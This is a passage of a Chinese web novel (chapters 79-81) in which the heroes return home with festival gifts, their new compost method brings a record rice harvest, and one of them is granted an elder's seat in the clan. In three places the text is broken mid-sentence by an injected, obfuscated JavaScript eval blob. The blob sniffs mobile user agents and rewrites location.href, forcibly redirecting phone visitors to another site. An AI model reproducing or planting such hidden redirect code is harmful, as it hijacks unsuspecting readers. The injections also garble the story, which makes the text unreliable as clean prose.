因为是新菜，上座率和回购率都不是很确定，根据过往上新经验，薛启原预估首月单店突破400锅问题应该不大。也就是庄聿白什么也无需做，单涮锅分红，一家食肆就能分得2两银子。 众人门前拱手作别时，弦月已沉沉歪在树稍。虽是半月，每个人却觉得比圆月还要圆满。 因明日还要进城采买，夫夫二人与牛大有简单收拾下就歇了，第二日天蒙蒙亮就被敲门声叫醒。 是骆家小厮，奉他家大公子之命，来给几人送东西。 “中秋就要到了，大公子特意给几位公子备了节礼。都是些自家铺子里的小玩意，公子们或自用，或送人都可以。不值什么钱，图个热闹喜庆罢了。公子还交代这马匹和车辆，就送二位公子用了。” 真的是满满一大车节礼。 庄聿白忙回房中取出200文钱请小厮打酒吃。小厮千恩万谢走后，他才围着马车细细看起来，边看边感慨： 有钱真好。有有钱的朋友，也挺好。 马车外观沉稳，用料结实，有种低调的奢华感，但又并不张扬。庄聿白踩着梨木踏脚凳，上车掀开帘子，只一眼就惊得挪不开眼。 满满一车，字面意思的“满”，一动就要溢出来那种。 车厢内还贴心放着一个礼单，方便二人核对。知道的明白这是中秋“节礼”，不知道的，还以为薛启原将薛家所有生意的样品送了来。 最先看到的是一些易碎怕压的东西。南北杂货干果、蜜饯果脯四五篮，核桃大枣、桃干杏脯等堆满车厢前部。 夹陈着的是铸铁风炉4只，庄聿白原想买几只回家吃火锅，倒让薛启原抢先了一步。 最惹眼的是从车厢顶部挂下来四五大串药材。有跌打损伤的膏药，也有煎煮内服的草药，每份都仔细包好，每包外面还附了方子，伤风感冒、体虚畏寒、滋阴壮阳……壮阳？好吧。此外还有两棵上好的老山参。 一起挂在车厢顶的，甚至还有一个蝈蝈笼子。不用想，这一定出自薛启辰的手笔。 中间堆着两个大木盒，打开是一套齐齐整整的茶具，和七八饼薛家茶坊的茶饼。再往里是七八匹颜色不同的布料和三床被子。 庄聿白从车厢退了出来，扶着孟知彰的胳膊跳到地上：“……这礼，太厚了些。” 几人驾着马车去府城采买了些点心糕饼，以及笔墨纸张等，并给乡邻们带了伴手礼。回来时，柳叔等在门口，说南先生和祝山长带过来一箱书，送孟知彰的。 一起带来的，还有一句话：孟知彰可以随时入读三省书院，无需束脩。 “具体什么时候来，看你们时间。”柳叔冲孟知彰笑笑，压低声音，“南先生的意思是，越快越好。” 79. 返乡 回程之路，车马沉沉，满载而归。 官道两旁的农田，比数日前更黄了。秋风拂过，弯垂的禾穗水浪般摇曳，阵阵稻香荡满贞和三年的秋天。 相较来府城之时的各种位置，此时的几人心情轻松不少，也安稳不少。 回家正好秋收，这现代科学带来的堆肥术，放诸古代农田成效究竟如何，是时候见分晓了。庄聿白将视线从金色稻浪中收回，圆圆脑袋探出车厢向后看看。 孟知彰正收回马鞭，不远不近驱车跟在后面。即使是驾车，身姿还能挺得这么端正。庄聿白笑笑，将手里的长命锁拿给身边的牛大有看。 “大有哥，好看吧。货郎张大哥应该会喜欢的。”银质锁身浮雕着蝙蝠和祥云图案，下面缀几个小铃铛，轻轻一摇，叮铃铃叮铃铃。 牛大有稳了稳手中辔绳，侧转头看过来，嘿嘿憨笑两声：“好看。” 这次府城之行，算是牛大有长这么大第一次出远门。他见识了很多，眼界也开了不少。往常他能接触到的最好的炭柴，就是暨县城中那几家。因为那几家烧的是茶炭，价钱比他们家普通炭柴每斤能贵个三五文钱。一趟下来，能多卖上一二百文。当时牛大有就想，若阿爹也能烧出那样的炭柴，窑中就能多卖些银钱。有了银钱阿爹阿娘也可以少辛苦些。 谁知眼下自家窑上竟也烧起了茶炭。而且制出的茶炭，不仅在暨县独一份，拿去府城竟然也……风靡一时，对，知彰用的是这个词。 “风靡一时。”牛大有默默又念了两遍。他对这个词，感受非常之深刻。当时知彰得了茶魁，他夫夫二人去领取彩头，自己原想跟着去看，谁知“茶魁”一出，缘来茶坊的摊子立马被围了个水泄不通。 周掌柜忙不过来，牛大有只得留在茶摊前帮着照料。人群鼎沸，有问茶魁方才用的什么茶的，更多的是问茶炭，毕竟连学政大人都亲口夸赞之炭，想必大有来历。 牛大有本不善言辞，即便大针戳到身上，都不吭一声之人，此时却要面对挤挤挨挨充满期待的眼神，去给他们答疑解惑。 牛大有很慌。站起来顶天立地一个大壮汉，影子占地都比别人敦厚几倍，此时却像个伶仃无所依的小孩子。 他下意识想求助孟知彰，想求助琥珀，想去扯扯他们的衣袖，问他们这种情况该怎么办。可二人此时皆不在身边。 当下能说出这兰花炭妙处的，也只有他牛大有。牛大有极力稳住心神，这兰花炭是琥珀的心血。他不能给知彰和琥珀丢人。他想着往常跟琥珀出去谈生意时，琥珀的做派与说辞，尽量照猫画虎开了场。 破了冰就顺了，牛大有越讲越入其道，越说越得其法，尤其讲到这兰花炭无烟、耐燃等等好处时，看着台前人群中惊叹崇拜的眼神，竟然升起一股自豪神色，腰杆也越挺越直。 登时摊前递帖之人无数，有茶商，有炭商，甚至连手炉坊、制香坊的掌柜都挤了来。这种被这么多人当面认可、夸赞、追捧的感觉，真好。 这次斗茶清会，兰花炭在整个东盛府大放光彩，周掌柜的缘来茶坊，在茶魁和茶炭双层加持下也赢得第五名的高位。 周掌柜对孟知彰夫夫感激戴德，当即便跟牛大有透露接下来的规划，他回去后立马新开一家分号。茶炭用量要翻上几番。这兰花炭的订单每月至少要抬高至600斤。 有生意是好事。庄聿白自然高兴。牛氏炭窑不仅有稳定的兰花炭客单，接下来也可以制些魁炭售卖与其他茶坊。需求量上来，村中剩余劳动力便可以更好集结利用起来，大家一起在茶炭之事上多些进益。 当然，除了茶炭，还有金玉满堂与葡萄园。日子总归是会越来越好的。 叮铃铃，叮铃铃……庄聿白将那长命锁仍拿在手上翻来覆去看。 “等你和知彰有了孩子，我也买一块送孩子。”牛大有见庄聿白眼神中似闪过一丝古怪，以为自己哄他，忙满眼诚恳保证，“真的！” 庄聿白自然知道牛大有是认真的。孟知彰的孩子，他牛大有当个干爹都不为过，送块长命锁更是理所应当。只是这个限定，让庄聿白差点笑出声。 我和孟知彰有孩子？好有趣、好新奇的说法。 两个大男人怎么有孩子？大街上捡一个，还是去领养一个？ 不待庄聿白将这个有趣的问题说出来，牛大有猛地直起身，挥鞭向前指给庄聿白看：“琥珀！乡邻来接我们了！” 知道孟知彰今日回来，族长带着族中耆老和众乡邻早等在村口。遥遥看见车马，鞭炮声瞬时霹雳吧啦想起来，比过年时还喜庆，还热闹。 红色鞭炮烟雾中，一群小孩子欢天喜地跑出来，笑闹着飞奔到马车近前。孟知彰和庄聿白早下了车，牵马步行往回走。 相比沉稳端正的孟知彰，小孩子们更喜欢和这位琥珀哥哥玩。他们围着庄聿白叽叽喳喳说个不停，笑个不停。庄聿白也开心，他笑着去到孟知彰那辆马车上，结结实实捧了许多蜜饯果铺出来，一把把塞给小孩子们。 小孩子拿到好吃的，又像一群撒欢的小马驹，开开心心掉转头就往回跑，边跑还边大声喊着：“知彰哥哥回来啦！琥珀哥哥回来啦！” 消息早几天就传了回来。孟知彰不仅得了院试榜首，还成了今年府城斗茶清会的茶魁，这可是孟家村双喜临门的大喜事。 鞭炮铺了足足一百米，虽比不上骆耀庭家门前的鞭炮气派，但迎来的乡邻们各个真情实感。孟知彰是他们看着长大的，他们真心希望这孩子好，也真心为这孩子能有今日而高兴。 再有，众人还听闻孟知彰得的那个彩头是御赐之茶。在这个君权高于一切的社会，这可是顶顶了不得的事情。甚至在一些人眼中，这和孟知彰将一柄御赐的尚方宝剑带回村子没什么区别。 族长请孟知彰将御赐之物拿出来与众人瞧瞧。 孟知彰说这茶目前是他家夫郎的嫁妆，是私产，若大家要看，需先征得他家夫郎的同意。庄聿白不觉得什么，半块茶饼而已，再珍贵又能如何。他刚要钻回马车去取，族长拦了一把。 “不妥，不妥。这风天土地的，就这样将御赐之物取出来，太过草率。” 明日秋收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138299|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 启动。族长当即决定今晚“开镰仪式”之前先开祠堂，将这御赐的茶饼迎进去，族人先瞻仰一番，也算为这一季秋收祈愿。 寒暄过后，众人簇拥着夫夫二人往回走。 孟知彰算族中小辈，换作往日，公开场合根本不可能和族中耆老一同在族长近前行走。但今时不同往昔，众人将族长左手位置空出来，郑重留给夫夫二人。 孟知彰还要谦让，族长拉住他，半开玩笑道：“或许下次合族再迎你之时，我们连与你同行的资格也没了。” 夫夫二人告了罪，跟在族长身旁往回走。 孟知彰心中有一丝异样。若阿爹见到今时今日的自己，应该也会高兴吧。 族长同二人说着近来家中事宜，特意强调这几日州县中不少茶坊，都来村中等二人消息。眼下二人回来了，除了秋收，还有更多事情要忙。 庄聿白料到其他茶坊见缘来茶坊在府城风光无限，自是也会找上门来，只是没料到会这么急。 一行人缓缓进村。远远看到孟知彰家的柴门。门前小径清扫得干净、整洁，柴门大开，好像随时有人走出来迎接他们。 有那么一瞬，孟知彰忽然恍惚。 这条熟悉的回家路，这条自己走了十几年的归家路，竟有一点点恍如隔世的距离。 院中飘着饭香，是自己最爱的炒蛋。刚刚从学中回来的自己，将招文袋甩至身后，高高兴兴大踏步往家走，阿爹、阿娘已相伴走到门前，正笑着等自己回家。 阿娘还是穿着那件洗得泛白的青色裙衫，在围裙上擦擦手，又习惯性理一理鬓角头发，往前紧走几步，笑着问：“彰儿，一路可还顺利？” 阳光透过门前槐树洒下斑驳影子，光点晃动，声音晃动，心神亦晃动。 孟知彰眼前起了雾气，半日他察觉衣袖被人拽住。 是庄聿白。 庄聿白正仰脸看着自己，满眼殷切：“怎么了，是不是不舒服？” “无事。”孟知彰心中缓了缓神，将手紧紧背至身后。又察觉庄聿白有事，示意他但说无妨。 “刚族长说是先去族长家用茶，还是先回家？” 孟知彰往庄聿白脸上看了看，知道他此时虽高兴，眼角仍难掩疲色，一路舟车劳顿，孟知彰自己都有些疲累，何况身子向来软弱的庄聿白。 孟知彰直接拱手向族长致歉：“长者赐茶，原不该辞。一则许久不在家，茶炭及金玉满堂之事务恐需花些时间厘清。重要的是，还需回家沐浴更衣准备参加晚间的开镰仪式，误了时辰就不好了。或者这茶，留待晚间一起讨了，您看如何？” 辞别众人，孟知彰二人简单收拾一通，换上干净衣衫先去了田中。孟知彰原想劝庄聿白好生歇歇，晚些再看不迟，不过他知道庄聿白不亲眼看到稻穗状况，心中自难安，便依了他。 未及到得近前，远远看着自家田中金灿灿、沉甸甸、高出一截的水稻状况，庄聿白心中这口气终于舒出来。他抬脸冲孟知彰笑笑，两颗虎牙盈盈润润，甜甜爽爽。 “不用看了。稳了。” 80. 秋收 秧苗抽条开始，整个孟家村都盯着孟知彰家的稻田。 孟三叔是村中种田老把式，同等田地每亩能比别家多打一两斗。乡民关于种田耕地之事都会来请教孟三叔。可别小看这一两斗，若有个十亩地，一年下来就是多出了一个壮丁的口粮。夏收时那个2石5斗的最高亩产，就是孟三叔的手笔。 当时报出亩产2石5斗时，整个孟家村都震惊了。别说小辈们没见过这么高的产量，头发银白的族中耆老，活了大半辈子也是第一次见，颤巍巍让人扶着走到孟三叔家的稻谷场，亲眼看到并上手将那2石5斗粮食摸了又摸。 这次孟书郎家用了新型肥料，称能够丰产。禾苗落地的那刻起，乡民不自觉地便与孟三叔家的地对比起来。茎秆粗细、叶片厚薄、抽穗灌浆……现在成熟的禾穗已等在田间，只等开镰后见分晓、定高低了。 孟三叔家的大儿子一天往田间跑几趟。最开始他一听这新肥只需18天，制作也方便，很是心动，劝父亲也试下，奈何老头子脾气倔，认老理，死活不同意。 “那可是粮食，是命。哪能随便瞎搞！18天的肥，也敢洒进田里，真不怕把根苗烧死！” 施肥后，孟书郎家田里的禾苗，不仅没烧死，茎秆抽条快，长势也明显要好。起初还观望的人家，不少变了阵营，求到孟知彰门上学起堆肥。 孟三叔大儿子也要跟着去学，被他父亲发现，骂了个狗血淋头。 “孟书郎是个读书的，每日只在纸上写写画画。种地产粮之事，你求到一个书生跟前，这跟找瞎子带路有啥区别！这不是胡闹是啥！还有他家那个夫郎，长得跟个纸灯笼似的，风吹吹就灭了。他会下田种地？我看他平地走路都打晃，也不怕田中老鼠把他绊倒，抬了去！你若再动这个念头，便去给他俩当儿子！” 道理归道理，孟知彰家的稻田长势就是好。同样禾苗，他家的就是身量高，抽穗早，看着也长些。 不过稻米没归仓，一切都不好说。何况对庄稼而言，粮食才是最重要的，长得高，意味这植株能量大多浪费在茎秆之上。金玉其外败絮其中的也不少见。 和孟三叔同样想法的人，并不在少数。大家面朝田埂背朝天，在土里刨了一辈子吃食，谁都没听过也没见过这18天能沤成肥。退一万步，即便制成了肥，施在田地中，也不知能长出个什么牛鬼蛇神。 “他这夫郎刚来孟家村，想立稳脚跟、挣足面子。年轻人嘛，急功近利，这能理解。但千不该、万不该、他不该打这田里的主意。” “有一说一，他那金玉满堂和茶炭的生意，是好。也给那些日子艰难的人家带来几串子钱，大米白面时不时也能摆上饭桌。但田地是大事。若孟书郎家这夫郎蛊惑着族人都去用这18天的堆肥，糟蹋了这一季的粮食，还算好的，恐怕连带着会弄坏了祖祖辈辈留下的这田地，这不是遭天谴的事么！” “对，不能坏了祖辈的田啊。不然，我这把土埋半截的老骨头，有何颜面去见列祖列宗啊！” 众人围坐在一位族中耆老家中，一个劲儿地摇头叹气。作为族中老人，他们可不能眼睁睁看着孟家村遭祸殃，希望通过族中施压，断了众人用这新型堆肥的念头。 那耆老一把银白胡子拈了又拈。相比庄聿白这个初来乍到、且年轻不经事的小哥儿，他自然更信任眼前这些一起生长在片土地上，也将埋进这片土地里的老哥哥、老弟弟们。 但族中土地就这么多，不管是税粮还是天灾，哪一样压下来，都有可能死人。田地增产势在必行。 若这小哥儿的法子确实可行，那是再好不过。若如村中这几位老人之言，不仅毁了庄稼还毁了地……就算烧了自己这把老骨头都难赎其罪。孟书郎和他这位夫郎自也不必说，除了族中除名，该送官送官，该判刑判刑。 后来跟风要用新法施肥的人，被紧急叫停。等孟知彰家田中今秋收成出来之后，再议。 马上开镰收割了。村民盯着自家一亩三分地的同时，也分了一只眼睛到孟三叔和孟知彰家田中。 秋收是大事，茶炭、金玉满堂等生意这几日暂停。 清晨，孟家村的第一抹阳光打在镰刀上，弯刃锃亮，折射出秋天独有的清冷和期待。 庄聿白弯腰割下孟知彰家中稻田的第一把水稻。笑盈盈拿在手中，沉甸甸一束，穗长粒大，颗颗饱满。 稳是稳了，具体能多收几成尚未可知。庄聿白自己也提着口气。 族中叫停新型肥料之事，他不是不知道。若此次增收甚微，想来这18日堆肥法的推广只能就此打住。先前自己在南先生和祝山长那边说可以让学田增产五成的“牛”，也只能告破。 孟知彰接过庄聿白手中的镰刀，将庄聿白和他手中那第一束水稻护送至田间地头的藤椅上，还摆出茶水、果品和一册话本子，以免庄聿白“视察”这秋收场景时觉得无聊。 自己则带着请来帮工的乡邻，将剩下的稻田悉数收到稻谷场上。 空气清爽，脱粒后的稻谷干燥得也快。 这日是家家户户收粮归仓的日子。当然最激动人心的，是归仓前的上秤称粮环节。 稻谷从田间收回来，众人对自家收成已经大致有数，和往常相差无几。此时孟家村的目光全部聚集到孟三叔和孟知彰家的粮堆上。 正常水稻平均亩产，上等田2石，中等田1.8石，下等田1.5石。往年孟三叔家收过一亩2.2石，今年因为有孟知彰家的田地比着，孟三叔照料得更加精细，想来亩产还要高些。 至于孟书郎家，所有眼睛都紧紧盯着。 虽然审视的目光背后，心思各异，但所有人都清楚这新型堆肥术能否在孟家村推广，成败在此一举。甚至孟知彰二人在族中的声誉，也能一锤定音。 孟三叔仗义，以免让人觉得欺负了小辈，主动邀请众人先去他家给稻米过秤。 下等田5亩，共得粮8石，比寻常人家整体稍多了五六斗，只能算孟三叔的正常水平。 中等田5亩，共得粮9石8斗。数量一出，人群开始小声议论起来，这差不多要赶上别人家上等田的收成了。不。甚至比有些人家上等田的收成还高些。孟三叔还是厉害的。 接下来是4亩上等田，孟三叔将几亩田的稻谷分开，逐一过秤，人群不觉向前聚拢起来。 “2石2斗。”帮着过秤的人，高声喊出第一个数字。 比正常人家上等田收成高出1成了。人群一阵赞叹，甚至响起一两声掌声。 “2石1斗”，“2石8升”，接下来的两个数字虽不及地一个，也是很不错的收成。 到最后一亩地了。人群越挤越多，越围越紧。孟三叔心中也紧张，他将脖子中系着的一块灰白毛巾摘下来，擦擦手，又擦了擦额头的汗珠，冲过秤之人点下头。称吧。 称重的两人缓缓抬起地上粮袋，秤砣慢慢向外拨…… “2石3斗1升！” 伸长脖子的人群，一下定在那里。 良久有人如梦方醒，叫了第一声“好”。之后，人群炸开了锅，纷纷拥到孟三叔跟前，向他道贺，顺便取经。 孟三叔眉头终于舒展开来，他一开始估摸着能有个2石2斗5升，谁知竟突破了2石3斗的大关。他自己也没料到。 孟三叔将毛巾搭回脖子上，越过人群往孟知彰家的方向看了看。 庄聿白坐在藤椅上，一块巾帕握在手中攥了又攥。孟三叔家的稻米重量，时时有人报过来。听到“2石3斗1升”时，庄聿白不住点头。 能在当下有限的生产条件中，亩产达到这个数字，属实难得。 围聚在孟三叔家的人群，边小声议论着边往孟知彰家这边涌过来。 孟知彰家田亩较孟三叔家少，只有3亩上田、2亩中田、1亩下田。但众人往院内一看，眼神明显不镇定了。 “打眼看上去，似乎比三叔家的只多不少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146511|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？”有人忍不住嘀咕，不过很快释然，“说不定这其中有牛大有家的粮。毕竟他们两家走得近。牛家放不下，暂时堆在他家也是有可能的。” “2石2斗。”过秤之人，喊出第一个数字。 和孟三叔家报出的第一个数字一模一样！不错不错！人群开始交头接耳。孟书郎二人，一个读书，一个忙着金玉满堂和茶炭生意，最近还要管理葡萄园，平时在田间下的功夫远远不及孟三叔，但竟能和每日绑在田中的三叔家同样产量。 说明这肥料还是可以的。 有人上前，从粮袋中抓出半把米研究起来，颗颗饱满，一粒一粒圆鼓鼓的，看上去真招人喜欢。心中正夸着，忽又听过秤之人补充了半句： “2石2斗……下等田！” 现场哗然。 什么？下等田？！ 孟知彰家下等田只有1亩，下等田能亩产2石2斗，这怎么可能！ 比普通下等田，要多出四五成的产量。四五成产量呐！竟然能孟三叔家上等田比肩。这绝对不可能！ “看花眼了吧！”孟三叔根本不信，责怪过秤之人胡乱报数，亲自挤到近前往那秤杆上看去，“这秤一定有问题，去把刚才我家用的秤拿来！” 等秤的时间，孟三叔根本站不定，围着孟知彰家的稻米转来转去，毛巾拿在手上不停擦拭额头的汗。忽然他想到什么，问到孟知彰面前：“大郎，你确定这些粮是下等田的收成？” 有人从旁挤上来：“三叔，这些稻谷是我亲自割回来、晾好收在这儿的，错不了！” 秤取了回来，这次孟三叔挡开旁人，亲自过秤。 人群不觉不觉伸长脖子，并齐齐屏了呼吸，生怕影响到三叔手里的准星。 孟三叔将毛巾搭回肩上，将秤从头到尾又检查一遍，这才开始上秤。 确实是2石2斗，若严谨些，应该是2石2斗又1升。 人群像是八九十度的热水，马上要兴奋得冒泡泡，可又觉得火候不到，需等等再翻腾欢呼。毕竟眼下还只是下等田。 “孟书郎，称中等田吧！”有人等不及，竟催了起来。 孟三叔瞪了那人一眼，眼神复杂，说不上的情绪一股脑涌上来。他家中等田合计下来亩产刚刚2石。而孟知彰家2亩中等田的稻米就在眼前，看这状态5石打不住。 果然，过秤之人开始报数：“中等田2亩，得粮……6石。” 亩产3石！ 报数之人的声音都有些发颤了。 众人皆不敢置信，忙跟身旁人确定是不是说的3石。确认后，又边向前挤，边吵嚷着要看个究竟。 孟三叔则逆着人群挤了出来，毛巾在手上擦了又擦，手掌都擦红了，伴着火辣辣的疼。抬头却见族长走了来。 “我刚听亩产3石？果真！”向来沉稳持重的族长，此时竟有些等不及，想扒开人群往里挤。 孟三叔跟在旁边：“是。亩产3石是……中等田。” 族长愣住，回身怔怔看着孟三叔，手都有些抖了：“你说中等田亩产3石？” 孟三叔垂头“嗯”了一声，声音中极力掩盖着诧异、嫉妒。 大家都明白，这可比正常中田亩产高出足足6成！6成呐！即便是上等田，附近州县有一户算一户，从未听说过谁家亩产能达到3石的。 “那上等田呢！上等田亩产多少？”族长竟顾不得身份，上前抓住孟三叔的手使劲摇，不只是想立马知晓答案，更多的，似乎想从对方那汲取一些稳定情绪的力量。 “上田还在称……” 众人见族长来了，忙让开一条路，将人请到中间方便观看过秤。 所有人围了上来。中等田亩产3亩，若非亲眼所见，说出去谁敢信？那这上等田岂不是…… 有人站得远，根本看不清过秤现场，有人将孩子举到自己脖子上帮忙看着，有人怎索性爬到一旁的大树上，抱着树干向下看。 81. 上首 上等田汇了个总量出来，3亩田，收粮10石。 亩产3石3斗又3升。 八月中旬的孟家村，沸腾了，呼朋引伴，奔走相告，甚至比过年还要兴奋，还要热闹。 族长亲自上前，将秤杆看了又看，又俯身去看挨个拍拍院子中的稻米，口中不停小声重复“3石3斗”。如在梦中般不真实，他有生之年竟然能亲眼见到亩产3石3斗！ 很快族长想到什么，抓了把孟知彰家的米，拦住跟在他身旁的众人，一个人朝祠堂走去，越走越快，越走步子越不稳。 年过花甲的老族长，走到后面竟像孩子一样跑了起来。 祠堂寂寂，森严牌位前，族长长跪不起，浑浊的老泪，滚烫又难抑：“列祖列宗在上，不肖子孙孟向贵特来相告，秋收亩产竟高达三石三，三石三呐！我们孟氏一族出息了。孟家村出息了。孟氏儿孙出息了……” 稻米一把，小心翼翼放在供桌上。一旁是孟知彰赢来的彩头，半块御赐茶饼。 族长独自在祠堂祈求祖宗护佑家族平安，护佑子孙仕途平坦之时，在家中等消息的蹒跚耆老们，也得了准信。拐棍拄得飞起，儿孙搀扶着就往孟知彰家称粮现场奔来，边走边嫌慢。 “三石三？是不是听错了？会不会是……两石三！” 儿孙扶着耆老胳膊，恐长辈听不清，声音抬高也放缓：“您老慢点，不着急！千真万确的三石三，合族都看着呢。听说这会子族长已经去祠堂告慰祖先在天之灵了。” 除了一众耆老，此前极力反对新肥落田的老把式们，也坐不住了。他们先找到孟三叔，从对方神态中得知此事是真。 “可单产量高，并不意味这粮就好啊……”有人还想说些什么挽尊，一把粮塞到他那老树根一般饱经风霜的手中。后面的话，硬生生噎了回去。 事实摆在眼前，一切狡辩都已毫无意义。 新型堆肥术增产之事，并非个例。这一季用了新肥的人家，亩产虽未达到3石3的产量，但较往年也能增产了个三四成。 金灿灿的稻米，白发斑斑的老者，一张张喜笑颜开的面庞，在此时达成共识：新型堆肥术，是孟家村的福星，更是万千农人的福星。 当时一门心思认定庄聿白，跟着施新肥的人家，现在早已经笑得合不拢嘴。没有赶上的，虽懊恼，但更多的还是高兴。真有了这样增收的好法子，下一季自家岂不是也能跟着多打粮。 有盼头，这日子就有奔头。 有人觉得此等大好事，自己白白占了便宜心中实在过意不去，当即提出要把家中增产之粮中抽出2层给到孟知彰和庄聿白当做答谢。 庄聿白与孟知彰此前商议过，新型堆肥术无偿授于乡邻。但那时的堆肥不过枯草一堆，眼下可转化成了实打实的粮食，二人自是明白乡邻心中的不安。 夫夫二人当众宣布：起初堆肥术无偿相授。此话，时至今日仍然作数。 此话一出，孟知彰夫夫被一众耆老团团围住，他们商议半日，决定要给庄聿白一个族中的最高荣誉，众人想来想去，想到一个“上首”之位。 “这个好，这个好！从今往后，族中任何会集，都要有琥珀一个席位。族中之事，无论大小，也都要听听琥珀的意见。” 这是孟氏一族的至高荣誉，又不单只是荣誉，在族中是实打实掌握着一定实权的。 族中享有此等荣誉与权利的人，要么是辈分高，要么是年轻时为族中做出过重要贡献，在族中声望显著，待到过了花甲之年，便能参与族长事务的决策。 庄聿白年纪轻，尚未及冠。孟氏家族的“上首”之位至今未有过如此年轻之人。而且又是外姓。 有人觉得此事似乎欠妥当，不合常理。 有人则很不以为然：“不合常理之事多了！你能带族人将亩产搞到3石？” 众人将庄聿白簇拥至祠堂，族长还在。众耆老说出上首之位的提议，族长深以为是，当即决定将族中已有的八把上首之椅增至九把。 全族秋收全部平稳归仓后，祠堂再开。 族长及九位上首，位列正堂，接受着阖族上下的敬拜。 堂下不仅有同辈、有孩童，更多的是长辈，甚至是头发全白的老者。宗法社会，开祠堂，跪拜祖宗，敬拜上首，是再平常不过的事情。 庄聿白却如坐针毡，他在那堂上极力维持着得体的镇定。心中默念孟知彰跟他说的话，这只是乡邻表示敬重、感激的一种方式而已。 不过受过这一拜，庄聿白觉得肩上重了许多。 庄聿白还是有些不知所措，有些惶恐不安。越过人群，他下意识去找孟知彰的身影。在一张张期待的面孔上方，他成功寻到孟知彰看过来的视线。 视线交错的一刹，庄聿白的心，没来由地安定了下来。 有孟知彰在，似乎再重的担子，再未知的未来，也无妨。 一时族人散去，上首开始内部议事。 庄聿白请孟知彰留了下来，二人以夫夫名义，将几件重要决定说与族中定夺。 其一，自然是这新型堆肥术。 此前讲过无偿免费教于族人。此时乡邻便可以着手将堆肥材料准备起来了。具体材料比例、翻堆技巧等等，庄聿白会详细书写下来交于族长。由族长出面将此法推广下去。当然，执行操作过程中遇到任何技术问题，庄聿白都会帮乡邻指导、修整，责无旁贷。 其二，是茶炭。夫夫二人和牛大叔商议过，将茶炭生意做成族中生意。 虽回来仅几日，加上秋收正忙，无暇顾及茶炭之事，而且窑上已经停了火。但州县各酒楼茶坊掌事之人几乎要将孟家村村口的路踏平了。 庄聿白抽空整理了一下来谈合作的各茶坊需求。数量之大，也是他此前没想到的。 缘来茶坊周青，府城回来后亲自往孟家村来了两三次。50两银子的谢礼，庄聿白没有收，但对方的每月600斤兰花炭的加单请求，庄聿白应了。 此外，其他慕名而来的掌柜知道庄聿白忙且抢手，皆开门见山，目的只有一个——能用上庄聿白制作的茶炭。当然他们自是清楚，兰花炭在暨县仅出售给缘来茶坊一家，所以只求庄聿白想个法子。庄聿白提到“魁炭”，价格与兰花炭相同，也是每斤30文。其他人还以为会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151356|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄聿白趁机价格翻倍，谁知竟同价而售。做生意最重诚信。你爽利，我自当也痛快。议事掌柜们当即递上需求清单，连现银定金一并摆在桌上。 接下来，牛家窑上的产能可不再是简单的每月200斤兰花炭。除600斤兰花炭外，还有近1000斤魁炭。这还是签了合作契约，交了定金的长期合作茶坊。 庄聿白回转身，抬脸看了眼孟知彰。对方了然，从招文袋中掏出一张密密麻麻的数字单子。 关于第三件事金玉满堂，夫夫二人一并讲了。 金玉满堂近日提过来的订单，也是越来越多。不少还是府城跟过来。庄聿白统计了下每月差不多是20两的订单。除去原料成本和日常生产维系，夫夫二人会拿出5两银子请乡邻帮工，另抽出1两银子交与族中用于应急助困。 茶炭的订单金额，当前是48两每月。其中20两用于窑炭扩建、维护等，必要时也会用这笔钱购买基本的柴炭原料应急。其中10两银子请乡邻帮工，每月交与族中2两银子。 再者是第四件事，葡萄园。 葡萄园目前没有任何进项。茶炭营收中会每月匀出3两银子用于请乡邻日常照料。 算下来，每月会有18两银子的帮工银钱，族中有富裕劳动力或较为贫困的人家皆可报名。不过谁人适合做什么，谁家需重点帮扶，就需要族中出面进行协调安排。 这样一来，生意安稳推进，乡邻皆能赚些散钱贴补家用，族中也有一项相对安稳的进项。一举多得。 听完二人的安排。族长不住点头。 孟家村并不富裕，好年景也只能保证家家户户得个温饱。若年景不好，全族上下都要勒紧裤腰带，省俭出口粮贴补实在艰难的人家。同族同根，总不能看谁家老小饿死吧。族中公田多数也做了这个用处。 身为族长，他也发愁。如今孟书郎夫夫二人不仅能帮族中贫弱找出路、添进益，每月还能给族中银钱。 “这，这真是天佑孟氏、祖宗显灵！” 族长代表族长冲孟知彰和庄聿白深深行了一礼。 祠堂中，祖宗牌位前，族长亲自行礼。夫夫二人受宠若惊，忙还礼，只道：“现在能力有限，将来生意再好些，或许可以助益族中更多。” 众上首也皆起身一起行礼敬夫夫二人。 年岁大些的上首，已经在偷偷抹眼泪，感慨没有选错人： “孟氏一族出了有长进的儿孙啊！”后想到庄聿白姓“庄”不姓“孟”，又真情实感地强行往回圆，“祖上保佑，让我们孟氏一族娶到这样的好儿郎！” * 忙过秋收，又将乡邻堆肥事宜细细带到进行翻堆，庄聿白二人终于得闲整理府城带来的东西。 